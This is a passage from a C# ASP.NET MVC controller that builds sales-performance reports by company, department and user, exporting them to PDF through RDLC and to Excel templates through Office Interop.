ViewPerformancesCom = ReportService1.getViewPerformancesCom(SearchDate, SearchDateTo);
ViewData["ViewPerformancesCom"] = summaryViewPerformance(ViewPerformancesCom.ToList());
QuantityUnits1Com = ReportService1.getQuantityUnitsCom(SearchDate, SearchDateTo);
ViewData["QuantityUnits1Com"] = QuantityUnits1Com.ToList();
Company _Com = UserService1.getCompanyById(ComId);
if (_Com != null)
{
ViewData["ViewCompany"] = true;
Department _Dept = UserService1.getDepartmentById(DeptId);
if (_Dept != null)
{
ViewPerformances = ReportService1.getViewPerformancesSales(DeptId, SearchDate, SearchDateTo);
ViewData["ViewPerformances"] = summaryViewPerformance(ViewPerformances.ToList());
QuantityUnits1 = ReportService1.getQuantityUnitsSales(DeptId, SearchDate, SearchDateTo);
ViewData["QuantityUnits"] = QuantityUnits1.ToList();
}
ViewData["ViewDepartment"] = true;
ViewPerformancesDept = ReportService1.getViewPerformancesByDept(ComId, SearchDate, SearchDateTo);
ViewData["ViewPerformancesDept"] = summaryViewPerformance(ViewPerformancesDept.ToList());
QuantityUnits1Dept = ReportService1.getQuantityUnitsDept(ComId, SearchDate, SearchDateTo);
ViewData["QuantityUnits1Dept"] = QuantityUnits1Dept.ToList();
}
}
else if (UsersModel.isDeptManager(CurrenUser))
{
ViewPerformances = ReportService1.getViewPerformancesSales(CurrenUser.Department.Id, SearchDate, SearchDateTo);
ViewData["ViewPerformances"] = summaryViewPerformance(ViewPerformances.ToList());
QuantityUnits1 = ReportService1.getQuantityUnitsSales(CurrenUser.Department.Id, SearchDate, SearchDateTo);
ViewData["QuantityUnits"] = QuantityUnits1.ToList();
}
else
{
ViewPerformances = ReportService1.getViewPerformances(CurrenUser.Id, SearchDate, SearchDateTo);
ViewData["ViewPerformances"] = summaryViewPerformance(ViewPerformances.ToList());
QuantityUnits1 = ReportService1.getQuantityUnits(CurrenUser.Id, SearchDate, SearchDateTo);
ViewData["QuantityUnits"] = QuantityUnits1.ToList();
}
}
#endregion
#region search by period
if (SalePerformamceModel1.Priod == 1)
{
if (SalePerformamceModel1.ServiceName == null)
{
SalePerformamceModel1.ServiceName = "";
}
if (UsersModel.isAdminOrDirctor(CurrenUser))
{
ViewPerformancesCom = ReportService1.getViewPerformancesCom(SalePerformamceModel1, SearchDate, SearchDateTo);
ViewData["ViewPerformancesCom"] = summaryViewPerformance(ViewPerformancesCom.ToList());
QuantityUnits1Com = ReportService1.getQuantityUnitsCom(SalePerformamceModel1, SearchDate, SearchDateTo);
ViewData["QuantityUnits1Com"] = QuantityUnits1Com.ToList();
Company _Com = UserService1.getCompanyById(ComId);
if (_Com != null)
{
IEnumerable<Shipment> PeriodShipments = ReportService1.getAllShipment(SalePerformamceModel1, SearchDate, SearchDateTo, ComId);
ViewData["PeriodShipments"] = PeriodShipments;
/*
ViewData["ViewCompany"] = true;
Department _Dept = UserService1.getDepartmentById(DeptId);
if (_Dept != null)
{
ViewPerformances = ReportService1.getViewPerformancesSales(DeptId, SalePerformamceModel1, SearchDate, SearchDateTo);
ViewData["ViewPerformances"] = ViewPerformances;
QuantityUnits1 = ReportService1.getQuantityUnitsSales(DeptId, SalePerformamceModel1, SearchDate, SearchDateTo);
ViewData["QuantityUnits"] = QuantityUnits1;
}
ViewData["ViewDepartment"] = true;
ViewPerformancesDept = ReportService1.getViewPerformancesByDept(ComId, SalePerformamceModel1, SearchDate, SearchDateTo);
ViewData["ViewPerformancesDept"] = ViewPerformancesDept;
QuantityUnits1Dept = ReportService1.getQuantityUnitsDept(ComId, SalePerformamceModel1, SearchDate, SearchDateTo);
ViewData["QuantityUnits1Dept"] = QuantityUnits1Dept;
*/
}
}
else if (UsersModel.isDeptManager(CurrenUser))
{
ViewPerformances = ReportService1.getViewPerformancesSales(CurrenUser.Department.Id, SalePerformamceModel1, SearchDate, SearchDateTo);
ViewData["ViewPerformances"] = summaryViewPerformance(ViewPerformances.ToList());
QuantityUnits1 = ReportService1.getQuantityUnitsSales(CurrenUser.Department.Id, SalePerformamceModel1, SearchDate, SearchDateTo);
ViewData["QuantityUnits"] = QuantityUnits1.ToList();
}
else
{
ViewPerformances = ReportService1.getViewPerformances(CurrenUser.Id, SalePerformamceModel1, SearchDate, SearchDateTo);
ViewData["ViewPerformances"] = summaryViewPerformance(ViewPerformances.ToList());
QuantityUnits1 = ReportService1.getQuantityUnits(CurrenUser.Id, SalePerformamceModel1, SearchDate, SearchDateTo);
ViewData["QuantityUnits"] = QuantityUnits1.ToList();
}
}
#endregion
Session["SalePerformamceModel1"] = SalePerformamceModel1;
}
[HttpPost]
public ActionResult SalePerformance(long ComId, long DeptId, SalePerformamceModel SalePerformamceModel1)
{
SalePerformanceProcess(ComId, DeptId, SalePerformamceModel1);
return View(SalePerformamceModel1);
}
public ActionResult SalePerformanceDept()
{
SalePerformamceModel SalePerformamceModel1 = new SalePerformamceModel();
DateTime Date1 = DateTime.Now;
SalePerformamceModel1.Month = Date1.Month;
SalePerformamceModel1.Year = Date1.Year;
DateTime SearchDate = DateUtils.Convert2DateTime("01/" + DateUtils.ConvertDay("" + Date1.Month) + "/" + Date1.Year);
DateTime SearchDateTo = DateUtils.Convert2DateTime("" + DateTime.DaysInMonth(Date1.Year, Date1.Month) + "/" + DateUtils.ConvertDay("" + Date1.Month) + "/" + Date1.Year);
IEnumerable<ViewPerformance> ViewPerformances = ReportService1.getViewPerformances(CurrenUser.Id, SearchDate, SearchDateTo);
ViewData["ViewPerformances"] = ViewPerformances;
IEnumerable<QuantityUnits> QuantityUnits1 = ReportService1.getQuantityUnits(CurrenUser.Id, SearchDate, SearchDateTo);
ViewData["QuantityUnits"] = QuantityUnits1;
IEnumerable<ViewPerformance> ViewPerformancesDept = ReportService1.getViewPerformancesByDept(CurrenUser.Department.Id, SearchDate, SearchDateTo);
ViewData["ViewPerformancesDept"] = ViewPerformancesDept.ToList();
IEnumerable<QuantityUnits> QuantityUnits1Dept = ReportService1.getQuantityUnitsDept(CurrenUser.Department.Id, SearchDate, SearchDateTo);
ViewData["QuantityUnits1Dept"] = QuantityUnits1Dept;
return View(SalePerformamceModel1);
}
[HttpPost]
public ActionResult SalePerformanceDept(SalePerformamceModel SalePerformamceModel1)
{
DateTime SearchDate = DateUtils.Convert2DateTime("01/" + SalePerformamceModel1.Month + "/" + SalePerformamceModel1.Year);
DateTime SearchDateTo = DateUtils.Convert2DateTime("" + DateTime.DaysInMonth(SalePerformamceModel1.Year, SalePerformamceModel1.Month) + "/" + SalePerformamceModel1.Month + "/" + SalePerformamceModel1.Year);
IEnumerable<ViewPerformance> ViewPerformances = ReportService1.getViewPerformances(CurrenUser.Id, SearchDate, SearchDateTo);
ViewData["ViewPerformances"] = ViewPerformances;
IEnumerable<QuantityUnits> QuantityUnits1 = ReportService1.getQuantityUnits(CurrenUser.Id, SearchDate, SearchDateTo);
ViewData["QuantityUnits"] = QuantityUnits1;
IEnumerable<ViewPerformance> ViewPerformancesDept = ReportService1.getViewPerformancesByDept(CurrenUser.Company.Id, SearchDate, SearchDateTo);
ViewData["ViewPerformancesDept"] = ViewPerformancesDept.ToList();
IEnumerable<QuantityUnits> QuantityUnits1Dept = ReportService1.getQuantityUnitsDept(CurrenUser.Company.Id, SearchDate, SearchDateTo);
ViewData["QuantityUnits1Dept"] = QuantityUnits1Dept;
return View(SalePerformamceModel1);
}
public ActionResult SalePerformanceSale()
{
SalePerformamceModel SalePerformamceModel1 = new SalePerformamceModel();
DateTime Date1 = DateTime.Now;
SalePerformamceModel1.Month = Date1.Month;
SalePerformamceModel1.Year = Date1.Year;
DateTime SearchDate = DateUtils.Convert2DateTime("01/" + Date1.Month + "/" + Date1.Year);
DateTime SearchDateTo = DateUtils.Convert2DateTime("" + DateTime.DaysInMonth(Date1.Year, Date1.Month) + "/" + Date1.Month + "/" + Date1.Year);
IEnumerable<ViewPerformance> ViewPerformances = ReportService1.getViewPerformances(CurrenUser.Id, SearchDate, SearchDateTo);
ViewData["ViewPerformances"] = ViewPerformances;
IEnumerable<QuantityUnits> QuantityUnits1 = ReportService1.getQuantityUnits(CurrenUser.Id, SearchDate, SearchDateTo);
ViewData["QuantityUnits"] = QuantityUnits1;
return View(SalePerformamceModel1);
}
[HttpPost]
public ActionResult SalePerformanceSale(SalePerformamceModel SalePerformamceModel1)
{
DateTime SearchDate = DateUtils.Convert2DateTime("01/" + SalePerformamceModel1.Month + "/" + SalePerformamceModel1.Year);
DateTime SearchDateTo = DateUtils.Convert2DateTime("" + DateTime.DaysInMonth(SalePerformamceModel1.Year, SalePerformamceModel1.Month) + "/" + SalePerformamceModel1.Month + "/" + SalePerformamceModel1.Year);
IEnumerable<ViewPerformance> ViewPerformances = ReportService1.getViewPerformances(CurrenUser.Id, SearchDate, SearchDateTo);
ViewData["ViewPerformances"] = ViewPerformances;
IEnumerable<QuantityUnits> QuantityUnits1 = ReportService1.getQuantityUnits(CurrenUser.Id, SearchDate, SearchDateTo);
ViewData["QuantityUnits"] = QuantityUnits1;
return View(SalePerformamceModel1);
}
public ActionResult DetailsReport()
{
LocalReport localReport = new LocalReport();
localReport.ReportPath = Path.GetFullPath("~/Reports/Report1.rdlc");
DateTime SearchDate = DateUtils.Convert2DateTime("01/10/2010");
IEnumerable<PerformanceReport> ProcessReport = ReportService1.getSaleReport(CurrenUser.Id, 2010);
IEnumerable<PerformanceReport> ResultReport = new List<PerformanceReport>();
foreach (PerformanceReport PerformanceReport1 in ProcessReport)
{
}
ReportDataSource reportDataSource = new ReportDataSource("DataSet1", ReportService1.getSaleReport(CurrenUser.Id, 2010));
List<ReportParameter> Params = new List<ReportParameter>();
ReportParameter Item = new ReportParameter("PlanDisplay", "Plan of 2010");
Params.Add(Item);
localReport.SetParameters(Params.AsEnumerable());
localReport.DataSources.Add(reportDataSource);
string reportType = "PDF";
string mimeType;
string encoding;
string fileNameExtension;
//The DeviceInfo settings should be changed based on the reportType
//http://msdn2.microsoft.com/en-us/library/ms155397.aspx
string deviceInfo =
"<DeviceInfo>" +
" <OutputFormat>PDF</OutputFormat>" +
" <PageWidth>8.5in</PageWidth>" +
" <PageHeight>11in</PageHeight>" +
" <MarginTop>0.5in</MarginTop>" +
" <MarginLeft>1in</MarginLeft>" +
" <MarginRight>1in</MarginRight>" +
" <MarginBottom>0.5in</MarginBottom>" +
"</DeviceInfo>";
Warning[] warnings;
string[] streams;
byte[] renderedBytes;
//Render the report
renderedBytes = localReport.Render(reportType, deviceInfo,
out mimeType, out encoding, out fileNameExtension, out streams, out warnings);
Response.AddHeader("content-disposition", "attachment; filename=Report1." + fileNameExtension);
return File(renderedBytes, mimeType);
}
private List<User> Users
{
get
{
List<User> list = null;
var users = UserService1.GetQuery(x => x.IsActive
&& (UsersModel.Functions.Operations.ToString().Equals(x.Department.DeptFunction)
|| UsersModel.Functions.Sales.ToString().Equals(x.Department.DeptFunction)));
if (!CurrenUser.IsAdminAndAcct())
{
users = users.Where(x => x.DeptId == CurrenUser.DeptId);
}
list = users.OrderBy(x => x.FullName).ToList();
return list;
}
}
public ActionResult PersonalReport()
{
PersonReportModel model = new PersonReportModel();
model.Year = DateTime.Now.Year;
model.UserId = (int)CurrenUser.Id;
Session["PersonReportModel"] = model;
IEnumerable<PerformanceReport> ReportsResult = ReportService1.getSaleReport(model.UserId, model.Year);
List<PerformanceReport> ReportProcess = new List<PerformanceReport>(12);
ReportProcess = reportProcessNew(ReportsResult);
if (Users != null)
{
ViewData["ListUser"] = new SelectList(Users, "Id", "FullName");
}
ViewData["ReportProcess"] = ReportProcess;
return View(model);
}
[HttpPost]
public ActionResult PersonalReport(PersonReportModel model)
{
Session["PersonReportModel"] = model;
IEnumerable<PerformanceReport> ReportsResult = ReportService1.getSaleReport(model.UserId, model.Year);
List<PerformanceReport> ReportProcess = new List<PerformanceReport>(12);
ReportProcess = reportProcessNew(ReportsResult);
if (Users != null)
{
ViewData["ListUser"] = new SelectList(Users, "Id", "FullName");
}
ViewData["ReportProcess"] = ReportProcess;
return View(model);
}
public ActionResult PersonalReportExcel()
{
PersonReportModel model = (PersonReportModel)Session["PersonReportModel"];
int CellX = 3;
int CellY = 5;
int MaxSaleType = 4;
int Year = model.Year;
int UserId = model.UserId;
IEnumerable<PerformanceReport> ReportsResult = ReportService1.getSaleReport(UserId, Year);
List<PerformanceReport> ReportProcess = new List<PerformanceReport>(12);
ReportProcess = reportProcessNew(ReportsResult);
string RealPath = Path.Combine(Server.MapPath("~/" + "/FileManager/Reports")
, Path.GetFileName("Report.xls"));
Application xl = new Application();
Workbook wb = xl.Workbooks.Open(RealPath, 0, false, 5, "", "", true, XlPlatform.xlWindows, "\t", false, false, 0, true, 1, 0);
int pos = 0;
pos = RealPath.LastIndexOf("\\");
String tamplePath = RealPath.Substring(0, pos + 1) + "TemReport.xls";
FileInfo fileInfo = new FileInfo(tamplePath);
if (fileInfo.Exists)
{
fileInfo.Delete();
}
wb.SaveAs(tamplePath);
Sheets xlsheets = wb.Sheets; //Get the sheets from workbook
Worksheet excelWorksheet = (Worksheet)xlsheets[1];
#region processing excel
//View data for Report
excelWorksheet.Cells[4][2] = "YEARLY REPORT " + Year;
excelWorksheet.Cells[2][5] = "Year Plan " + Year;
int totalSaleType = ReportProcess.ElementAt(0).PerformModels.Count;
double[] TotalProfiltSaleTypes = new double[totalSaleType];
double TotalPlan = 0, TotalProfilt = 0;
for (int i = 0; i < 12; i++)
{
TotalPlan += ReportProcess.ElementAt(i).Plan;
for (int ti = 0; ti < totalSaleType; ti++)
{
TotalProfiltSaleTypes[ti] += ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Profit;
TotalProfilt += ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Profit;
}
}
for (int i = 0; i < 12; i++)
{
//TotalHandel += ReportProcess.ElementAt(i).ProfitHandel;
//TotalSale += ReportProcess.ElementAt(i).ProfitSale;
excelWorksheet.Cells[CellX + i][CellY] = ReportProcess.ElementAt(i).Plan;
for (int ti = 0; ti < totalSaleType; ti++)
{
excelWorksheet.Cells[CellX - 1][CellY + ti * 2 + 1] = "Profit Of " + ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).SaleType;
excelWorksheet.Cells[CellX - 1][CellY + ti * 2 + 2] = "Perform Of " + ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).SaleType + "(%)";
excelWorksheet.Cells[CellX + i][CellY + ti * 2 + 1] = ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Profit;
excelWorksheet.Cells[CellX + i][CellY + ti * 2 + 2] = ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Perform.ToString("0.00") + "%";
excelWorksheet.Cells[15][CellY + ti * 2 + 1] = TotalProfiltSaleTypes[ti];
excelWorksheet.Cells[15][CellY + ti * 2 + 2] = divisible(TotalProfiltSaleTypes[ti] * 100, TotalPlan).ToString("0.00") + "%";
}
//excelWorksheet.Cells[CellX + i][CellY + 3] = ReportProcess.ElementAt(i).ProfitHandel;
//excelWorksheet.Cells[CellX + i][CellY + 4] = ReportProcess.ElementAt(i).PerformPH.ToString("0.00") + "%";
excelWorksheet.Cells[CellX + i][CellY + MaxSaleType * 2 + 1] = ReportProcess.ElementAt(i).SumProfit;
excelWorksheet.Cells[CellX + i][CellY + MaxSaleType * 2 + 2] = ReportProcess.ElementAt(i).PerformSumProfit.ToString("0.00") + "%";
}
excelWorksheet.Cells[15][CellY] = TotalPlan;
//excelWorksheet.Cells[15][CellY + 1] = TotalSale;
// excelWorksheet.Cells[15][CellY + 2] = divisible(TotalSale * 100, TotalPlan).ToString("0.00") + "%";
//excelWorksheet.Cells[15][CellY + 3] = TotalHandel;
//excelWorksheet.Cells[15][CellY + 4] = divisible(TotalHandel * 100, TotalPlan).ToString("0.00") + "%";
excelWorksheet.Cells[15][CellY + MaxSaleType * 2 + 1] = TotalProfilt;
excelWorksheet.Cells[15][CellY + MaxSaleType * 2 + 2] = divisible(TotalProfilt * 100, TotalPlan).ToString("0.00") + "%";
//delete redundant cell in excel hard line max 4
for (int ec = 4; ec > totalSaleType; ec--)
{
((Range)excelWorksheet.Rows.get_Item(5 + ec * 2)).Delete();
((Range)excelWorksheet.Rows.get_Item(5 + ec * 2 - 1)).Delete();
}
#endregion
wb.Save();
wb.Close();
return File(tamplePath, "application/excel", "YearLyReport.xls");
}
private double rounFloor(double Value)
{
if (Value < 0) return 0.0;
return Value;
}
private double divisible(double Number1, double Number2)
{
if (Number2 == 0)
{
return 0;
}
return Number1 / Number2;
}
private List<PerformModel> getAllPerformModel(List<SaleType> SaleTypes)
{
List<PerformModel> PerformModels = new List<PerformModel>();
foreach (SaleType SaleType1 in SaleTypes)
{
PerformModel PerformModel1 = new PerformModel();
PerformModel1.SaleType = SaleType1.Name;
PerformModel1.Profit = 0;
PerformModel1.Bonus = 0;
PerformModels.Add(PerformModel1);
}
return PerformModels;
}
private List<PerformanceReport> reportProcessNew(IEnumerable<PerformanceReport> ReportsResult)
{
List<PerformanceReport> ReportProcess = new List<PerformanceReport>(12);
List<SaleType> SaleTypes = UserService1.getAllSaleTypes(false).ToList();
if (ReportsResult != null && ReportsResult.Count() > 0)
{
for (int i = 1; i <= 12; i++)
{
PerformanceReport PerformanceReport1 = new PerformanceReport();
PerformanceReport1.Month = i;
PerformanceReport1.PerformModels = getAllPerformModel(SaleTypes);
foreach (PerformanceReport Report in ReportsResult)
{
if (Report.Month == i)
{
PerformanceReport1.Plan = Report.Plan;
PerformanceReport1.setPerform(Report.PerformModel1);
PerformanceReport1.ProfitHandel += Report.ProfitHandel;
PerformanceReport1.ProfitSale += Report.ProfitSale;
PerformanceReport1.PerformPS = divisible(PerformanceReport1.ProfitSale * 100, PerformanceReport1.Plan);
PerformanceReport1.PerformPH = divisible(PerformanceReport1.ProfitHandel * 100, PerformanceReport1.Plan);
// PerformanceReport1.SumBonus += Report.PerformModel1.Bonus;
//PerformanceReport1.PerformSumProfit = divisible(PerformanceReport1.SumProfit * 100, PerformanceReport1.Plan);
}
}
/*
PerformanceReport1.SumProfit = PerformanceReport1.ProfitSale + PerformanceReport1.ProfitHandel;
if (PerformanceReport1.Plan > 0)
{
PerformanceReport1.PerformPH = divisible(PerformanceReport1.ProfitHandel * 100, PerformanceReport1.Plan);
PerformanceReport1.PerformPS = divisible(PerformanceReport1.ProfitSale * 100, PerformanceReport1.Plan);
PerformanceReport1.PerformSumProfit = divisible(PerformanceReport1.SumProfit * 100, PerformanceReport1.Plan);
}*/
ReportProcess.Add(PerformanceReport1);
}
}
else
{
for (int i = 1; i <= 12; i++)
{
PerformanceReport PerformanceReport1 = new PerformanceReport();
PerformanceReport1.Month = i;
PerformanceReport1.PerformModels = getAllPerformModel(SaleTypes);
ReportProcess.Add(PerformanceReport1);
}
}
return ReportProcess;
}
private List<PerformanceReport> reportProcess(IEnumerable<PerformanceReport> ReportsResult)
{
List<PerformanceReport> ReportProcess = new List<PerformanceReport>(12);
if (ReportsResult != null && ReportsResult.Count() > 0)
{
for (int i = 1; i <= 12; i++)
{
PerformanceReport PerformanceReport1 = new PerformanceReport();
PerformanceReport1.Month = i;
foreach (PerformanceReport Report in ReportsResult)
{
if (Report.Month == i)
{
PerformanceReport1.ProfitHandel += Report.ProfitHandel;
PerformanceReport1.ProfitSale += Report.ProfitSale;
PerformanceReport1.Plan = Report.Plan;
PerformanceReport1.PerformPS = divisible(PerformanceReport1.ProfitSale * 100, PerformanceReport1.Plan);
PerformanceReport1.PerformPH = divisible(PerformanceReport1.ProfitHandel * 100, PerformanceReport1.Plan);
PerformanceReport1.SumProfit = PerformanceReport1.ProfitHandel + PerformanceReport1.ProfitSale;
PerformanceReport1.PerformSumProfit = divisible(PerformanceReport1.SumProfit * 100, PerformanceReport1.Plan);
}
}
PerformanceReport1.SumProfit = PerformanceReport1.ProfitSale + PerformanceReport1.ProfitHandel;
if (PerformanceReport1.Plan > 0)
{
PerformanceReport1.PerformPH = divisible(PerformanceReport1.ProfitHandel * 100, PerformanceReport1.Plan);
PerformanceReport1.PerformPS = divisible(PerformanceReport1.ProfitSale * 100, PerformanceReport1.Plan);
PerformanceReport1.PerformSumProfit = divisible(PerformanceReport1.SumProfit * 100, PerformanceReport1.Plan);
}
ReportProcess.Add(PerformanceReport1);
}
}
else
{
for (int i = 1; i <= 12; i++)
{
PerformanceReport PerformanceReport1 = new PerformanceReport();
PerformanceReport1.Month = i;
ReportProcess.Add(PerformanceReport1);
}
}
return ReportProcess;
}
public ActionResult DepartmentReportExcel()
{
DepartmentportModel model = (DepartmentportModel)Session["DepartmentportModel"];
int CellX = 3;
int CellY = 5;
int MaxSaleType = 4;
int Year = model.Year;
int DeptId = model.DeptId;
IEnumerable<PerformanceReport> ReportsResult = ReportService1.getSaleReportDept(DeptId, Year);
List<PerformanceReport> ReportProcess = new List<PerformanceReport>(12);
ReportProcess = reportProcessNew(ReportsResult);
string RealPath = Path.Combine(Server.MapPath("~/" + "/FileManager/Reports")
, Path.GetFileName("DeptReport.xls"));
Application xl = new Application();
Workbook wb = xl.Workbooks.Open(RealPath, 0, false, 5, "", "", true, XlPlatform.xlWindows, "\t", false, false, 0, true, 1, 0);
int pos = 0;
pos = RealPath.LastIndexOf("\\");
String tamplePath = RealPath.Substring(0, pos + 1) + "DeptTemReport.xls";
FileInfo fileInfo = new FileInfo(tamplePath);
if (fileInfo.Exists)
{
fileInfo.Delete();
}
wb.SaveAs(tamplePath);
Sheets xlsheets = wb.Sheets; //Get the sheets from workbook
Worksheet excelWorksheet = (Worksheet)xlsheets[1];
#region processing excel
//View data for Report
excelWorksheet.Cells[4][2] = "YEARLY REPORT " + DateTime.Now.Year;
excelWorksheet.Cells[2][5] = "Year Plan " + DateTime.Now.Year;
int totalSaleType = ReportProcess.ElementAt(0).PerformModels.Count;
double[] TotalProfiltSaleTypes = new double[totalSaleType];
double TotalPlan = 0, TotalProfilt = 0;
for (int i = 0; i < 12; i++)
{
TotalPlan += ReportProcess.ElementAt(i).Plan;
for (int ti = 0; ti < totalSaleType; ti++)
{
TotalProfiltSaleTypes[ti] += ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Profit;
TotalProfilt += ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Profit;
}
}
for (int i = 0; i < 12; i++)
{
//TotalHandel += ReportProcess.ElementAt(i).ProfitHandel;
//TotalSale += ReportProcess.ElementAt(i).ProfitSale;
excelWorksheet.Cells[CellX + i][CellY] = ReportProcess.ElementAt(i).Plan;
for (int ti = 0; ti < totalSaleType; ti++)
{
excelWorksheet.Cells[CellX - 1][CellY + ti * 2 + 1] = "Profit Of " + ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).SaleType;
excelWorksheet.Cells[CellX - 1][CellY + ti * 2 + 2] = "Perform Of " + ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).SaleType + "(%)";
excelWorksheet.Cells[CellX + i][CellY + ti * 2 + 1] = ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Profit;
excelWorksheet.Cells[CellX + i][CellY + ti * 2 + 2] = ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Perform.ToString("0.00") + "%";
excelWorksheet.Cells[15][CellY + ti * 2 + 1] = TotalProfiltSaleTypes[ti];
excelWorksheet.Cells[15][CellY + ti * 2 + 2] = divisible(TotalProfiltSaleTypes[ti] * 100, TotalPlan).ToString("0.00") + "%";
}
//excelWorksheet.Cells[CellX + i][CellY + 3] = ReportProcess.ElementAt(i).ProfitHandel;
//excelWorksheet.Cells[CellX + i][CellY + 4] = ReportProcess.ElementAt(i).PerformPH.ToString("0.00") + "%";
excelWorksheet.Cells[CellX + i][CellY + MaxSaleType * 2 + 1] = ReportProcess.ElementAt(i).SumProfit;
excelWorksheet.Cells[CellX + i][CellY + MaxSaleType * 2 + 2] = ReportProcess.ElementAt(i).PerformSumProfit.ToString("0.00") + "%";
}
excelWorksheet.Cells[15][CellY] = TotalPlan;
//excelWorksheet.Cells[15][CellY + 1] = TotalSale;
// excelWorksheet.Cells[15][CellY + 2] = divisible(TotalSale * 100, TotalPlan).ToString("0.00") + "%";
//excelWorksheet.Cells[15][CellY + 3] = TotalHandel;
//excelWorksheet.Cells[15][CellY + 4] = divisible(TotalHandel * 100, TotalPlan).ToString("0.00") + "%";
excelWorksheet.Cells[15][CellY + MaxSaleType * 2 + 1] = TotalProfilt;
excelWorksheet.Cells[15][CellY + MaxSaleType * 2 + 2] = divisible(TotalProfilt * 100, TotalPlan).ToString("0.00") + "%";
//delete redundant cell in excel hard line max 4
for (int ec = 4; ec > totalSaleType; ec--)
{
((Range)excelWorksheet.Rows.get_Item(5 + ec * 2)).Delete();
((Range)excelWorksheet.Rows.get_Item(5 + ec * 2 - 1)).Delete();
}
#endregion
#region Sheet2processing
excelWorksheet = (Worksheet)xlsheets[2];
EntitySet<User> ListUser = UserService1.getDepartmentById(DeptId).Users;
int SaleCount = 0;
int PerSaleCount = 0;
int TotalRowBegin = 6;
double[] TotalEachMonth = new double[14];
foreach (User UserItem in ListUser)
{
long Id = UserItem.Id;
double TotalPlanYear = UserService1.getReportYear(Id, Year);
Range rangInsert = (Range)excelWorksheet.Rows.get_Item(TotalRowBegin + SaleCount);
rangInsert.Insert(Microsoft.Office.Interop.Excel.XlInsertShiftDirection.xlShiftDown);
Range rangWasInsert = (Range)excelWorksheet.Rows.get_Item(TotalRowBegin + SaleCount);
SaleCount++;
PerSaleCount++;
Range rangPerInsert = (Range)excelWorksheet.Rows.get_Item(9 + PerSaleCount);
rangPerInsert.Insert(Microsoft.Office.Interop.Excel.XlInsertShiftDirection.xlShiftDown);
Range rangPerWasInsert = (Range)excelWorksheet.Rows.get_Item(9 + PerSaleCount);
PerSaleCount++;
rangWasInsert.Cells[3] = UserItem.FullName;
rangPerWasInsert.Cells[5] = UserItem.FullName;
rangWasInsert.Cells[4] = TotalPlanYear;
rangWasInsert.Cells[5] = TotalPlanYear / 12;
ReportsResult = ReportService1.getSaleReport(Id, Year);
ReportProcess = reportProcess(ReportsResult);
double TotalPerform = 0;
for (int i = 0; i < 12; i++)
{
double Perform = ReportProcess.ElementAt(i).ProfitSale + ReportProcess.ElementAt(i).ProfitHandel;
rangWasInsert.Cells[6 + i] = Perform;
rangPerWasInsert.Cells[6 + i] = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
TotalPerform += Perform;
TotalEachMonth[i + 1] += Perform;
}
rangWasInsert.Cells[18] = "'" + TotalPerform;
rangWasInsert.Cells[19] = "'" + rounFloor(TotalPlanYear - TotalPerform);
rangPerWasInsert.Cells[18] = divisible(TotalPerform * 100, TotalPlanYear).ToString("0.00") + "%";
rangPerWasInsert.Cells[19] = rounFloor(100 - (divisible(TotalPerform * 100, TotalPlanYear))).ToString("0.00") + "%";
TotalEachMonth[0] += TotalPlanYear;
TotalEachMonth[13] += TotalPerform;
}
Range rangInsertT = (Range)excelWorksheet.Rows.get_Item(TotalRowBegin + SaleCount);
rangInsertT.Cells[4] = TotalEachMonth[0];
rangInsertT.Cells[5] = TotalEachMonth[0] / 12;
rangInsertT.Cells[18] = "'" + TotalEachMonth[13];
rangInsertT.Cells[19] = "'" + rounFloor(TotalEachMonth[0] - TotalEachMonth[13]);
Range rangPerInsertT = (Range)excelWorksheet.Rows.get_Item(9 + PerSaleCount);
rangPerInsertT.Cells[18] = divisible(TotalEachMonth[13] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
rangPerInsertT.Cells[19] = rounFloor(100 - (divisible(TotalEachMonth[13] * 100, TotalEachMonth[0]))).ToString("0.00") + "%";
for (int i = 0; i < 12; i++)
{
rangInsertT.Cells[6 + i] = TotalEachMonth[1 + i];
rangPerInsertT.Cells[6 + i] = divisible(TotalEachMonth[1 + i] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
}
#endregion
rangInsertT = (Range)excelWorksheet.Rows.get_Item(TotalRowBegin - 1);
rangInsertT.Delete();
rangInsertT = (Range)excelWorksheet.Rows.get_Item(TotalRowBegin + SaleCount + 1);
rangInsertT.Delete();
wb.Save();
wb.Close();
return File(tamplePath, "application/excel", "YearLyReport.xls");
}
public ActionResult DepartmentReport()
{
DepartmentportModel model = new DepartmentportModel
{
Year = DateTime.Now.Year,
DeptId = (int) CurrenUser.DeptId
};
Session["DepartmentportModel"] = model;
return ReportDept(model);
}
[HttpPost]
public ActionResult DepartmentReport(DepartmentportModel model)
{
Session["DepartmentportModel"] = model;
return ReportDept(model);
}
private ActionResult ReportDept(DepartmentportModel model)
{
IEnumerable<PerformanceReport> ReportsResult = ReportService1.getSaleReportDept(model.DeptId, model.Year);
List<PerformanceReport> ReportProcess = new List<PerformanceReport>(12);
ReportProcess = reportProcessNew(ReportsResult);
ViewData["ListDepts"] = new SelectList(UserService1.GetAllDepartmentActive(CurrenUser), "Id", "DeptName");
ViewData["ReportProcess"] = ReportProcess;
List<ReportYearModel> ListReport1 = new List<ReportYearModel>();
List<ReportYearModel> ListReport2 = new List<ReportYearModel>();
EntitySet<User> ListUser = UserService1.getDepartmentById(model.DeptId).Users;
double[] TotalEachMonth = new double[14];
ReportYearModel ReportYearModel1 = null;
ReportYearModel ReportYearModel2 = null;
foreach (User UserItem in ListUser)
{
ReportYearModel1 = new ReportYearModel();
ReportYearModel2 = new ReportYearModel();
long Id = UserItem.Id;
double TotalPlanYear = UserService1.getReportYear(Id, model.Year);
ReportYearModel1.SaleName = UserItem.FullName;
ReportYearModel2.SaleName = UserItem.FullName;
ReportYearModel1.Plan = TotalPlanYear.ToString();
ReportYearModel1.PlanPerMonth = (TotalPlanYear / 12).ToString("0");
ReportsResult = ReportService1.getSaleReport(Id, model.Year);
ReportProcess = reportProcess(ReportsResult);
double TotalPerform = 0;
double Perform = 0;
for (int i = 0; i < 12; i++)
{
